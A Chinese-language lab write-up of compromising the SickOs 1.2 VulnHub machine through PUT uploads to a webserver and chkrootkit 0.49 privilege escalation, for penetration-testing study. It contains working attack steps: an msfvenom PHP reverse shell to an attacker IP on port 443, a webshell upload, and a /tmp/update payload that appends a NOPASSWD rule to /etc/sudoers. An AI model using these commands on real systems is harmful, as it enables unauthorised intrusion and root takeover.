1. 程式人生 > >kali滲透綜合靶機(十二)--SickOs1.2靶機

kali滲透綜合靶機(十二)--SickOs1.2靶機

kali滲透綜合靶機(十二)--SickOs1.2靶機

靶機下載地址:https://www.vulnhub.com/entry/sickos-12,144/

一、主機發現

1.netdiscover -i eth0 -r 192.168.10.0/24

  

二、埠掃描

1. masscan --rate=10000 -p0-65535 192.168.10.170

  

三、埠服務識別

1. nmap -sV -T4 -O -p 22,80 192.168.10.170

  

四、漏洞查詢與利用

1.瀏覽器訪問http://192.168.10.170,發現發現登入介面,嘗試目錄掃描,沒發現有用資訊

  

2.發現http://192.168.10.170/test/

  

3.發現ssh的版本OpenSSH 5.9p1,存在使用者列舉漏洞,用msf列舉使用者得到使用者John, root

4.使用hydra進行ssh爆破,沒有破解出來

5.發現web服務的版本lighttpd 1.4.28

searchsploit lighttpd,搜尋漏洞,發現沒有什麼可利用的漏洞

  

6. nmap 192.168.10.170 --script=http-methods.nse --script-args=http.methods.url-path="/test"  掃描/test頁面的支援的http方法

  

或者對/test頁面抓包,然後修改請求頭為OPTIONS檢視支援的HTTP方法

  

7. 上傳了一個html檔案進行測試,發現真的上傳成功了(上傳一個不存在的檔案會響應201 Created)

  

  

Getshell方式一:

8.上傳php一句話

  

9.菜刀連線一句話

  

10.在菜刀中上傳php反彈shell,反彈連線的IP以及埠,埠設定為443(防火牆阻止了非常用端口出去)

  

  

  

11.檢視系統版本和核心版本

  

Getshell方式二:

1.Msfvenom生成一個反彈shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.10.168 LPORT=443 > shell_443.php

2.curl上傳生成的反彈shell到目標

  

3.Msf開啟監聽

  

4.訪問上傳的shell

  

5.獲得目標的shell

  

提權方式一:利用exp

1.檢視系統是否存在chkrootkit,發現chkrootkit的版本為0.49

  

2. chkrootkit 0.49漏洞原理:chkrootkit有crontab,會定期以root身份執行/tmp/update檔案。如果攻擊者知道管理員是定期執行chkrootkit(通過檢視cron.daily獲知),並且對/ tmp(沒有掛載noexec)有寫訪問許可權,就可以利用該漏洞獲取root許可權。

漏洞利用: 於是我們可以利用這一點,在/tmp目錄下新建update檔案,做我們想讓root幫我們做的事

touch /tmp/update

chmod +x /tmp/update

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update

sudo su root

  

提權方式二:

1.exploit-database中對漏洞chkrootkit進行搜尋

  

2.msf中利用對應的漏洞結合已經獲得的session

  

3.使用exploit/unix/local/chkrootkit模組本地提權,設定引數

  

4.開始攻擊,成功,獲得管理員許可權

  

提權方式三:

1.編寫exp

  

2.上傳exp到目標靶機

  

3.把上傳的指令碼拷貝到/tmp目錄下

  

4.執行update,獲得root許可權

  

 

 

總結:

1、資訊收集、埠掃描、服務識別、目錄掃描

2、nmap 的http-methods.nse指令碼獲得目標支援的http方法,發現/test頁面支援put方法

3、使用burp修改包,用put方法上傳一句話或者curl 上傳獲得shell

4、利用chkrootkit版本0.49定期以root身份執行/tmp/update檔案來提權。

  1.利用msf中chkrootkit攻擊模組

  2.手動建立在/tmp建立update檔案,然後利用自動執行update檔案,在update寫入新增賬戶到sudo組

  3.使用C語言編寫exp,改變/tmp的所屬組為root以及增加uid為root許可權,上傳都目標伺服器,編譯然後執行,提權成功。